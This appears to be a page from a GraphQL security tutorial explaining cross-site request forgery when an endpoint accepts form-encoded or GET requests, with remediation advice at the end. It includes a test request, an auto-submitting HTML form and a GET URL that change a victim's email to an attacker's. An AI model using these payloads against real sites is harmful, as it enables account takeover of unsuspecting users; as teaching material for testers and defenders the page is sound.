GraphQL Hacking: The Complete Practical Guide
GraphQL CSRF
How GraphQL CSRF works: a JSON POST is blocked by preflight, but an endpoint that accepts GET or a form-encoded body lets a cross-site request fire a mutation.
Published
A GraphQL endpoint that speaks only application/json is accidentally safe from CSRF, because JSON triggers a CORS preflight. The danger appears when the same endpoint also accepts GET or a form-encoded body, which lets a cross-site page fire a mutation with the victim's cookies. This page covers the conditions and the exploit. Practice on a free live target.
Why JSON normally blocks it
CSRF works when the browser will send a state-changing request cross-site without the attacker reading the response. That is only possible for CORS "simple requests". A Content-Type: application/json POST is not simple, so the browser sends a preflight OPTIONS first, and the real request is blocked unless the server allows the attacker's origin. Because most GraphQL traffic is JSON, it is protected by accident.
The content types that do not trigger a preflight (and so remain CSRF-viable) are:
application/x-www-form-urlencoded
multipart/form-data
text/plain
GET (any simple request)If the endpoint parses a GraphQL operation from any of these, CSRF is back on the table.
Step 1: test the accepted content types
Check whether the endpoint answers anything other than JSON:
POST /graphql HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
query=mutation{changeEmail(email:"[email protected]"){ok}}HTTP/1.1 200 OK
Content-Type: application/json
{"data":{"changeEmail":{"ok":true}}}It accepted a form-encoded body and ran the mutation. That is the vulnerable condition: a simple-request content type reached a resolver. The body is shown decoded for readability, so URL-encode the value when sending (the quotes become %22). Form-encoded support is not universal (Apollo Server 4 rejects it by default), which is exactly why Step 1 is a real test, not a formality.
Step 2: build the cross-site request
With form encoding accepted, an auto-submitting form fires the mutation from any site the victim visits:
<form action="https://target.example/graphql" method="POST">
<input name="query" value="mutation{changeEmail(email:"[email protected]"){ok}}">
</form>
<script>document.forms[0].submit()</script>If the endpoint instead honors GET, a plain link or image works, subject to the GET-mutations caveat below:
GET /graphql?query=mutation%7BchangeEmail(email:%[email protected]%22)%7Bok%7D%7DStep 3: confirm it fired
Load the attacker page as the logged-in victim and confirm the change server-side (the email is now the attacker's). The victim's session cookie rode along automatically, which is the whole point of CSRF.
The GET-mutations caveat
The GraphQL spec says GET should execute queries only, not mutations. A compliant server refuses a mutation over GET, so a GET vector usually needs either a state-changing query (some apps hide side effects in query fields) or a misconfigured server. For a real mutation, the form-encoded POST is the more dependable vector.
Edge variants
Content-Type: text/plain another non-preflight type some parsers accept as JSON
multipart/form-data a file-style form body that also avoids preflight
GET ...?query=query{...} queries with side effects, or a lax serverFixing it
- Require
application/jsonand reject form-encoded,text/plain, and GET for operations. - Reject mutations over GET, per the spec.
- Add CSRF protection (a token or a custom header the browser must set, which forces a preflight), and set
SameSitecookies.
Full guidance is in preventing GraphQL attacks. For the broader write-up of the class, see CSRF. Next, bypass authorization inside the graph in authorization flaws, or try it on a free lab.